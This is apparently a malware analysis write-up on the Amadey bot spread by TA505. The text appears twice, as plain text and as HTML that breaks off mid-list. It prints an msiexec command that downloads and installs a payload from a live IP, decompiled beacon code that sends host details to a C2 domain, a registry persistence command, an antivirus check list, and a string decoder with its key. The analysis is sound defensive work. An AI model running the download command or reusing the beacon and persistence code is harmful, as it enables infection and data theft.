Initial Access Amedey is installed by msiexec.exe when you open a malicious excel file. From the document file technique, the threat actor is considered TA505. Excel 4.0 Macro Utilized by TA505 to Target Financial Institutions Recently Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware https://app.any.run/tasks/3430e711-7bb1-49b4-ac07-86b1a6b5c784 The download URL is as follows: msiexec.exe STOP=1 /i http://109.234.38.177/dom4 /q ksw='%TEMP%' First payload First payload is packed. Extract the original PE using the hollows_hunter mode of tknk_scanner. Amadey The dumped PE is compiled with MinGW. PE: compiler: MinGW(-)[-] PE: linker: GNU linker ld (GNU Binutils)(2.56*)[EXE32] It contains symbol information. Amedey has the following functions: _Z10aBypassUACv _Z10aCharToIntPc _Z10aGetOsArchv _Z10aIntToChari _Z11aAutoRunSetPc _Z11aCheckAdminv _Z11aCreateFilePc _Z11aFileExistsPKc _Z11aGetTempDirv _Z11aProcessDllPcS_ _Z11aProcessExePcS_S_S_ _Z11aRunAsAdminPc _Z12aGetHostNamev _Z12aGetSelfPathv _Z12aGetUserNamev _Z12aProcessTaskPc _Z12aResolveHostPc _Z12aWinSockPostPcS_S_ _Z13aDropToSystemPc _Z13aGetProcessILv _Z14aCreateProcessPc _Z14aGetProgramDirv _Z15aUrlMonDownloadPcS_ _Z16aDirectoryExistsPc _Z16aExtractFileNamePc _Z16aGetHomeDriveDirv _Z16aProcessDllLocalPcS_S_S_ _Z16aProcessExeLocalPcS_S_S_ _Z19aGetSelfDestinationi _Z5aCopyPcii _Z5aParsPcS_ _Z6aBasici _Z6aGetIdv _Z6aGetOsv _Z6aMkDirPc _Z7aPathAVPc _Z7aRaportPcS_ _Z8aCheckAVv _Z8aDecryptPc _Z8aPosLastPcS_ _Z9aCopyFilePcS_ _Z9aFileSizePc _Z9aFillCharPc _Z9aFreeFilePc _Z9aPosFirstPcS_ _Z9aRunDll32PcS_ The main function is as follows. int __cdecl main(int _Argc,char **_Argv,char **_Env) { char *pcVar1; /* 0x3ac8 97 main */ FUN_00404020(); FUN_00403cc0(); _Z10aBypassUACv(); pcVar1 = _Z12aGetSelfPathv(); _Z13aDropToSystemPc(pcVar1); pcVar1 = _Z19aGetSelfDestinationi(0); _Z11aAutoRunSetPc(pcVar1); _Z6aBasici(0); return 0; } The _Z6aBasici function is as follows. /* WARNING: Globals starting with '_' overlap smaller symbols at the same address */ void __cdecl _Z6aBasici(int param_1) { char *_Source; uint uVar1; int iVar2; /* 0x33fe 32 _Z6aBasici */ FUN_00404020(); _Z9aFillCharPc(&stack0xffffeff4); _Z9aFillCharPc(&stack0xffffddf4); _Z9aFillCharPc(&stack0xffffdbf4); _Source = _Z8aDecryptPc(&aDomain); strcat(&stack0xffffddf4,_Source); _Source = _Z8aDecryptPc(&aScript); strcat(&stack0xffffdbf4,_Source); _Source = _Z8aDecryptPc(&aParam0); strcat(&stack0xffffeff4,_Source); _Source = _Z6aGetIdv(); strcat(&stack0xffffeff4,_Source); _Source = _Z8aDecryptPc(&aParam1); strcat(&stack0xffffeff4,_Source); _Source = _Z8aDecryptPc(&aVers); strcat(&stack0xffffeff4,_Source); uVar1 = _Z11aCheckAdminv(); if ((uVar1 & 0xff) == 1) { _Source = _Z8aDecryptPc(&aParam2); strcat(&stack0xffffeff4,_Source); strcat(&stack0xffffeff4,"1"); } else { _Source = _Z8aDecryptPc(&aParam2); strcat(&stack0xffffeff4,_Source); strcat(&stack0xffffeff4,"0"); } _Source = _Z8aDecryptPc(&aParam3); strcat(&stack0xffffeff4,_Source); _Source = _Z10aGetOsArchv(); strcat(&stack0xffffeff4,_Source); _Source = _Z8aDecryptPc(&aParam4); strcat(&stack0xffffeff4,_Source); _Source = _Z10aIntToChari(param_1); strcat(&stack0xffffeff4,_Source); _Source = _Z8aDecryptPc(&aParam5); strcat(&stack0xffffeff4,_Source); iVar2 = _Z6aGetOsv(); _Source = _Z10aIntToChari(iVar2); strcat(&stack0xffffeff4,_Source); _Source = _Z8aDecryptPc(&aParam6); strcat(&stack0xffffeff4,_Source); uVar1 = _Z8aCheckAVv(); _Source = _Z10aIntToChari(uVar1); strcat(&stack0xffffeff4,_Source); _Source = _Z8aDecryptPc(&aParam7); strcat(&stack0xffffeff4,_Source); _Source = _Z12aGetHostNamev(); strcat(&stack0xffffeff4,_Source); _Source = _Z8aDecryptPc(&aParam8); strcat(&stack0xffffeff4,_Source); _Source = _Z12aGetUserNamev(); strcat(&stack0xffffeff4,_Source); strcat(&stack0xffffeff4,"&"); if (param_1 == 0) { do { _Z9aFillCharPc(&stack0xffffdff4); _Source = _Z12aWinSockPostPcS_S_(&stack0xffffddf4,&stack0xffffdbf4,&stack0xffffeff4); strcat(&stack0xffffdff4,_Source); _Z5aParsPcS_(&stack0xffffdff4,"#"); Sleep(_aTimeOut); } while( true ); } if (param_1 == 1) { _Z12aWinSockPostPcS_S_(&stack0xffffddf4,&stack0xffffdbf4,&stack0xffffeff4); } return; } Some important parameters are encoded. However, the encoding algorithm is very simple. key is 8ebd3994693b0d4976021758c2d7bff793b0d4976021758c2d7bff7 Finally, we analyze the decoded string and the name of the function in which it was used. _Z11aAutoRunSetPc AutoRunCmd : REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d _Z8aCheckAVv AV00 : AVAST Software AV01 : Avira AV02 : Kaspersky Lab AV03 : ESET AV04 : Panda Security AV05 : Doctor Web AV06 : AVG AV07 : 360TotalSecurity AV08 : Bitdefender AV09 : Norton AV10 : Sophos AV11 : Comodo _Z12aWinSockPostPcS_S_ CMD0 : <c> CMD1 : <d> _Z11aProcessDllPcS_ dll : dll _Z7aRaportPcS_, _Z6aBasici domain : gohaiendo[.]com _Z19aGetSelfDestinationi DropDir : f64a428dfd DropName : cmualrc.exe _Z11aProcessExePcS_S_S_ exe : exe _Z14aGetProgramDirv GetProgDir : ProgramData\ _Z10aGetOsArchv, _Z6aGetOsv OS_AR0 : kernel32.dll OS_AR1 : GetNativeSystemInfo _Z6aBasici Param0 : id= Param1 : &vs= Param2 : &ar= Param3 : &bi= Param4 : &lv= Param5 : &os= Param6 : &av= Param7 : &pc= Param8 : &un= Vers : 1.22 ZoneIdent : :Zone.Identifier _Z12aWinSockPostPcS_S_ Post0 : 1310 Post1 : HTTP/1.1 Post2 : Accept: / Post3 : Content-Type: application/x-www-form-urlencoded Post4 : Host: Post5 : Content-Length: Post6 : POST / _Z11aRunAsAdminPc RunAs : runas _Z9aRunDll32PcS_ RunDll_0 : rundll32.exe _Z7aRaportPcS_, _Z6aBasici Script : ppk/index.php _Z11aCheckAdminv Shell : SHELL32.DLL _Z14aCreateProcessPc, _Z6aBasici TimeOut : 40133-98-10017 _Z15aUrlMonDownloadPcS_ URLMon_0 : urlmon URLMon_1 : URLDownloadToFileA Here is the simple python script. ''' domain=[0x9F, 0xD4, 0xCA, 0xC5, 0x9C, 0x9E, 0xA7, 0x98, 0xA5, 0x67, 0x96, 0xD1, 0x9D] AutoRunCmdr=[0x8A, 0xAA, 0xA9, 0x84, 0x74, 0x7D, 0x7D, 0x54, 0x58, 0x81, 0x7E, 0xA5, 0x85, 0xC0, 0x87, 0xA8, 0x9D, 0xAA, 0xA7, 0x93, 0xA3, 0x9C, 0x91, 0x85, 0xCC, 0x95, 0xD6, 0xA6, 0xD5, 0xD5, 0xCC, 0xAB, 0x95, 0x8A, 0xCB, 0x9E, 0xC8, 0xA3, 0xB0, 0xAA, 0x92, 0x73, 0xA7, 0xA3, 0xA9, 0x9A, 0xA6, 0xD7, 0x88, 0xC9, 0xA9, 0xD5, 0xCF, 0xD5, 0xA5, 0x94, 0xAA, 0xDA, 0xD4, 0x9F, 0xA8, 0xAB, 0x99, 0xA8, 0x95, 0x88, 0xD5, 0x95, 0xD6, 0x54, 0x8C, 0x9F, 0x9B, 0x9C, 0x9E, 0x51, 0x7D, 0xA4, 0xA4, 0xC7, 0x97, 0xD6, 0xAA, 0x84, 0x86, 0x95, 0x9D, 0x59, 0x62, 0xD8, 0x50, 0xB7, 0xA8, 0x9A, 0xA9, 0xAA, 0xA5, 0xA2, 0x51, 0x66, 0xA9, 0x58, 0xB5, 0x77, 0xAB, 0x96, 0xB5, 0xC0, 0x86, 0x66, 0x9C, 0x85] AV00=[0x79, 0xBB, 0xA3, 0xB7, 0x87, 0x59, 0x8C, 0xA3, 0x9C, 0xAD, 0xAA, 0xC3, 0xA2, 0xC9]#AV00 AV01=[0x79, 0xDB, 0xCB, 0xD6, 0x94] AV02=[0x83, 0xC6, 0xD5, 0xD4, 0x98, 0xAB, 0xAC, 0x9F, 0xAF, 0x59, 0x7F, 0xC3, 0x92] AV03=[0x7D, 0xB8, 0xA7, 0xB8] AV04=[0x88, 0xC6, 0xD0, 0xC8, 0x94, 0x59, 0x8C, 0x99, 0x99, 0xAE, 0xA5, 0xCB, 0xA4, 0xDD] AV05=[0x7C, 0xD4, 0xC5, 0xD8, 0xA2, 0xAB, 0x59, 0x8B, 0x9B, 0x9B] AV06=[0x79, 0xBB, 0xA9] AV07=[0x6B, 0x9B, 0x92, 0xB8, 0xA2, 0xAD, 0x9A, 0xA0, 0x89, 0x9E, 0x96, 0xD7, 0xA2, 0xCD, 0xA8, 0xB2] AV08=[0x7A, 0xCE, 0xD6, 0xC8, 0x98, 0x9F, 0x9E, 0xA2, 0x9A, 0x9E, 0xA5] AV09=[0x86, 0xD4, 0xD4, 0xD8, 0xA2, 0xA7] AV10=[0x8B, 0xD4, 0xD2, 0xCC, 0xA2, 0xAC] AV11=[0x7B, 0xD4, 0xCF, 0xD3, 0x97, 0xA8] CMD0=[0x74, 0xC8, 0xA0] CMD1=[0x74, 0xC9, 0xA0] DLL=[0x9C, 0xD1, 0xCE] DropDir=[0x9E, 0x9B, 0x96, 0xC5, 0x67, 0x6B, 0x71, 0x98, 0x9C, 0x9D] DropName=[0x9B, 0xD2, 0xD7, 0xC5, 0x9F, 0xAB, 0x9C, 0x62, 0x9B, 0xB1, 0x98] exe=[0x9D, 0xDD, 0xC7] GetProgDir=[0x88, 0xD7, 0xD1, 0xCB, 0xA5, 0x9A, 0xA6, 0x78, 0x97, 0xAD, 0x94, 0xBE] OS_AR0=[0xA3, 0xCA, 0xD4, 0xD2, 0x98, 0xA5, 0x6C, 0x66, 0x64, 0x9D, 0x9F, 0xCE] OS_AR1=[0x7F, 0xCA, 0xD6, 0xB2, 0x94, 0xAD, 0xA2, 0xAA, 0x9B, 0x8C, 0xAC, 0xD5, 0xA4, 0xC9, 0xA1, 0x82, 0xA5, 0x9C, 0x9F] Param0=[0xA1, 0xC9, 0x9F] Param1=[0x5E, 0xDB, 0xD5, 0xA1] Param2=[0x5E, 0xC6, 0xD4, 0xA1] Param3=[0x5E, 0xC7, 0xCB, 0xA1] Param4=[0x5E, 0xD1, 0xD8, 0xA1] Param5=[0x5E, 0xD4, 0xD5, 0xA1] Param6=[0x5E, 0xC6, 0xD8, 0xA1] Param7=[0x5E, 0xD5, 0xC5, 0xA1] Param8=[0x5E, 0xDA, 0xD0, 0xA1] Post0=[0x45, 0x6F] Post1=[0x58, 0xAD, 0xB6, 0xB8, 0x83, 0x68, 0x6A, 0x62, 0x67] Post2=[0x79, 0xC8, 0xC5, 0xC9, 0xA3, 0xAD, 0x73, 0x54, 0x60, 0x68, 0x5D] Post3=[0x7B, 0xD4, 0xD0, 0xD8, 0x98, 0xA7, 0xAD, 0x61, 0x8A, 0xB2, 0xA3, 0xC7, 0x6A, 0x84, 0x95, 0xA9, 0xA7, 0xA2, 0x99, 0x95, 0x92, 0xAB, 0x9E, 0xA7, 0xD1, 0x61, 0xDC, 0x64, 0xD9, 0xDD, 0xDD, 0x64, 0x9F, 0xA2, 0xD4, 0x9D, 0x91, 0xA9, 0xAB, 0xA3, 0x9B, 0x9E, 0x95, 0xA0, 0x9B, 0x9A, 0x9C] Post4=[0x80, 0xD4, 0xD5, 0xD8, 0x6D, 0x59] Post5=[0x7B, 0xD4, 0xD0, 0xD8, 0x98, 0xA7, 0xAD, 0x61, 0x82, 0x9E, 0xA1, 0xC9, 0xA4, 0xCC, 0x6E, 0x59] Post6=[0x88, 0xB4, 0xB5, 0xB8, 0x53, 0x68] RunAs=[0xAA, 0xDA, 0xD0, 0xC5, 0xA6] RunDll_0=[0xAA, 0xDA, 0xD0, 0xC8, 0x9F, 0xA5, 0x6C, 0x66, 0x64, 0x9E, 0xAB, 0xC7, 0x50] Script=[0xA8, 0xD5, 0xCD, 0x93, 0x9C, 0xA7, 0x9D, 0x99, 0xAE, 0x67, 0xA3, 0xCA, 0xA0] Shell=[0x8B, 0xAD, 0xA7, 0xB0, 0x7F, 0x6C, 0x6B, 0x62, 0x7A, 0x85, 0x7F] TimeOut=[0x60, 0xEA, 0x00, 0x00, 0x44] URLMon_0=[0xAD, 0xD7, 0xCE, 0xD1, 0xA2, 0xA7] URLMon_1=[0x8D, 0xB7, 0xAE, 0xA8, 0xA2, 0xB0, 0xA7, 0xA0, 0xA5, 0x9A, 0x97, 0xB6, 0x9F, 0xAA, 0x9D, 0xA5, 0x9C, 0x77] Vers=[0x69, 0x93, 0x94, 0x96] ZoneIdent =[0x72, 0xBF, 0xD1, 0xD2, 0x98, 0x67, 0x82, 0x98, 0x9B, 0xA7, 0xA7, 0xCB, 0x96, 0xCD, 0x99, 0xAB] ''' encoded_str=[0x9F, 0xD4, 0xCA, 0xC5, 0x9C, 0x9E, 0xA7, 0x98, 0xA5, 0x67, 0x96, 0xD1, 0x9D] Key="8ebd3994693b0d4976021758c2d7bff793b0d4976021758c2d7bff7" c=0 while(1): length = len(encoded_str) if length <= c: break length = len(Key); print(chr(encoded_str[c] - ord(Key[c % length])), end='') #print(encoded_str[c] - ord(Key[c % length]), end='') c += 1 References https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/
<h2 id="initial-access">Initial Access</h2>
<p>Amedey is installed by msiexec.exe when you open a malicious excel file.
From the document file technique, the threat actor is considered TA505.</p>
<ul>
<li><a href="https://ti.360.net/blog/articles/excel-4.0-macro-utilized-by-ta505-to-target-financial-institutions-recently-en/">Excel 4.0 Macro Utilized by TA505 to Target Financial Institutions Recently</a></li>
<li><a href="https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware">Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware</a></li>
</ul>
<p><img src="https://nao-sec.org/assets/2019-04-28/01.jpg" width="100%" />
https://app.any.run/tasks/3430e711-7bb1-49b4-ac07-86b1a6b5c784</p>
<p>The download URL is as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msiexec.exe STOP=1 /i http://109.234.38.177/dom4 /q ksw='%TEMP%'
</code></pre></div></div>
<h2 id="first-payload">First payload</h2>
<p>First payload is packed.
Extract the original PE using the hollows_hunter mode of tknk_scanner.</p>
<p><img src="https://nao-sec.org/assets/2019-04-28/02.jpg" width="100%" /></p>
<h2 id="amadey">Amadey</h2>
<p>The dumped PE is compiled with MinGW.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PE: compiler: MinGW(-)[-]
PE: linker: GNU linker ld (GNU Binutils)(2.56*)[EXE32]
</code></pre></div></div>
<p>It contains symbol information.
Amedey has the following functions:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>_Z10aBypassUACv
_Z10aCharToIntPc
_Z10aGetOsArchv
_Z10aIntToChari
_Z11aAutoRunSetPc
_Z11aCheckAdminv
_Z11aCreateFilePc
_Z11aFileExistsPKc
_Z11aGetTempDirv
_Z11aProcessDllPcS_
_Z11aProcessExePcS_S_S_
_Z11aRunAsAdminPc
_Z12aGetHostNamev
_Z12aGetSelfPathv
_Z12aGetUserNamev
_Z12aProcessTaskPc
_Z12aResolveHostPc
_Z12aWinSockPostPcS_S_
_Z13aDropToSystemPc
_Z13aGetProcessILv
_Z14aCreateProcessPc
_Z14aGetProgramDirv
_Z15aUrlMonDownloadPcS_
_Z16aDirectoryExistsPc
_Z16aExtractFileNamePc
_Z16aGetHomeDriveDirv
_Z16aProcessDllLocalPcS_S_S_
_Z16aProcessExeLocalPcS_S_S_
_Z19aGetSelfDestinationi
_Z5aCopyPcii
_Z5aParsPcS_
_Z6aBasici
_Z6aGetIdv
_Z6aGetOsv
_Z6aMkDirPc
_Z7aPathAVPc
_Z7aRaportPcS_
_Z8aCheckAVv
_Z8aDecryptPc
_Z8aPosLastPcS_
_Z9aCopyFilePcS_
_Z9aFileSizePc
_Z9aFillCharPc
_Z9aFreeFilePc
_Z9aPosFirstPcS_
_Z9aRunDll32PcS_
</code></pre></div></div>
<p>The main function is as follows.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">_Argc</span><span class="p">,</span><span class="kt">char</span> <span class="o">**</span><span class="n">_Argv</span><span class="p">,</span><span class="kt">char</span> <span class="o">**</span><span class="n">_Env</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">pcVar1</span><span class="p">;</span>
<span class="cm">/* 0x3ac8 97 main */</span>
<span class="n">FUN_00404020</span><span class="p">();</span>
<span class="n">FUN_00403cc0</span><span class="p">();</span>
<span class="n">_Z10aBypassUACv</span><span class="p">();</span>
<span class="n">pcVar1</span> <span class="o">=</span> <span class="n">_Z12aGetSelfPathv</span><span class="p">();</span>
<span class="n">_Z13aDropToSystemPc</span><span class="p">(</span><span class="n">pcVar1</span><span class="p">);</span>
<span class="n">pcVar1</span> <span class="o">=</span> <span class="n">_Z19aGetSelfDestinationi</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="n">_Z11aAutoRunSetPc</span><span class="p">(</span><span class="n">pcVar1</span><span class="p">);</span>
<span class="n">_Z6aBasici</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The _Z6aBasici function is as follows.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */</span>
<span class="kt">void</span> <span class="kr">__cdecl</span> <span class="nf">_Z6aBasici</span><span class="p">(</span><span class="kt">int</span> <span class="n">param_1</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">_Source</span><span class="p">;</span>
<span class="n">uint</span> <span class="n">uVar1</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">iVar2</span><span class="p">;</span>
<span class="cm">/* 0x33fe 32 _Z6aBasici */</span>
<span class="n">FUN_00404020</span><span class="p">();</span>
<span class="n">_Z9aFillCharPc</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">);</span>
<span class="n">_Z9aFillCharPc</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffddf4</span><span class="p">);</span>
<span class="n">_Z9aFillCharPc</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffdbf4</span><span class="p">);</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&</span><span class="n">aDomain</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffddf4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&</span><span class="n">aScript</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffdbf4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&</span><span class="n">aParam0</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z6aGetIdv</span><span class="p">();</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&</span><span class="n">aParam1</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&</span><span class="n">aVers</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="n">_Z11aCheckAdminv</span><span class="p">();</span>
<span class="k">if</span> <span class="p">((</span><span class="n">uVar1</span> <span class="o">&</span> <span class="mh">0xff</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&</span><span class="n">aParam2</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="s">"1"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&</span><span class="n">aParam2</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="s">"0"</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&</span><span class="n">aParam3</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z10aGetOsArchv</span><span class="p">();</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&</span><span class="n">aParam4</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z10aIntToChari</span><span class="p">(</span><span class="n">param_1</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&</span><span class="n">aParam5</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">iVar2</span> <span class="o">=</span> <span class="n">_Z6aGetOsv</span><span class="p">();</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z10aIntToChari</span><span class="p">(</span><span class="n">iVar2</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&</span><span class="n">aParam6</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="n">_Z8aCheckAVv</span><span class="p">();</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z10aIntToChari</span><span class="p">(</span><span class="n">uVar1</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&</span><span class="n">aParam7</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z12aGetHostNamev</span><span class="p">();</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&</span><span class="n">aParam8</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z12aGetUserNamev</span><span class="p">();</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="s">"&"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">param_1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="k">do</span> <span class="p">{</span>
<span class="n">_Z9aFillCharPc</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffdff4</span><span class="p">);</span>
<span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z12aWinSockPostPcS_S_</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffddf4</span><span class="p">,</span><span class="o">&</span><span class="n">stack0xffffdbf4</span><span class="p">,</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">);</span>
<span class="n">strcat</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffdff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
<span class="n">_Z5aParsPcS_</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffdff4</span><span class="p">,</span><span class="s">"#"</span><span class="p">);</span>
<span class="n">Sleep</span><span class="p">(</span><span class="n">_aTimeOut</span><span class="p">);</span>
<span class="p">}</span> <span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">param_1</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">_Z12aWinSockPostPcS_S_</span><span class="p">(</span><span class="o">&</span><span class="n">stack0xffffddf4</span><span class="p">,</span><span class="o">&</span><span class="n">stack0xffffdbf4</span><span class="p">,</span><span class="o">&</span><span class="n">stack0xffffeff4</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Some important parameters are encoded. However, the encoding algorithm is very simple.</p>
<p><img src="https://nao-sec.org/assets/2019-04-28/03.jpg" width="80%" /></p>
<p>key is <code class="language-plaintext highlighter-rouge">8ebd3994693b0d4976021758c2d7bff793b0d4976021758c2d7bff7</code></p>
<p><img src="https://nao-sec.org/assets/2019-04-28/04.jpg" width="100%" /></p>
<p>Finally, we analyze the decoded string and the name of the function in which it was used.</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">_Z11aAutoRunSetPc</code>
<ul>
<li>AutoRunCmd : <code class="language-plaintext highlighter-rouge">REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d </code></li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">_Z8aCheckAVv</code>
<ul>
<li>AV00 : AVAST Software</li>
<li>AV01 : Avira</li>
<li>AV02 : Kaspersky Lab</li>
<li>AV03 : ESET</li>
<li>AV04 : Panda Security</li>
<li>AV05 : Doctor Web</li>
<li>AV06 : AVG</li>
<li>AV07 : 360TotalSecurity</li>
<li>AV08 : Bitdefender</li>
<li>AV09 : Norton</li>
<li>AV10 : Sophos</li>
<li>AV11 : Comodo</li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">_Z12aWinSockPostPcS_S_</code>
<ul>
<li>CMD0 : <code class="language-plaintext highlighter-rouge"><c></code></li>
<li>CMD1 : <code class="language-plaintext highlighter-rouge"><d></code></li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">_Z11aProcessDllPcS_</code>
<ul>
<li>dll : dll</li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">_Z7aRaportPcS_, _Z6aBasici</code>
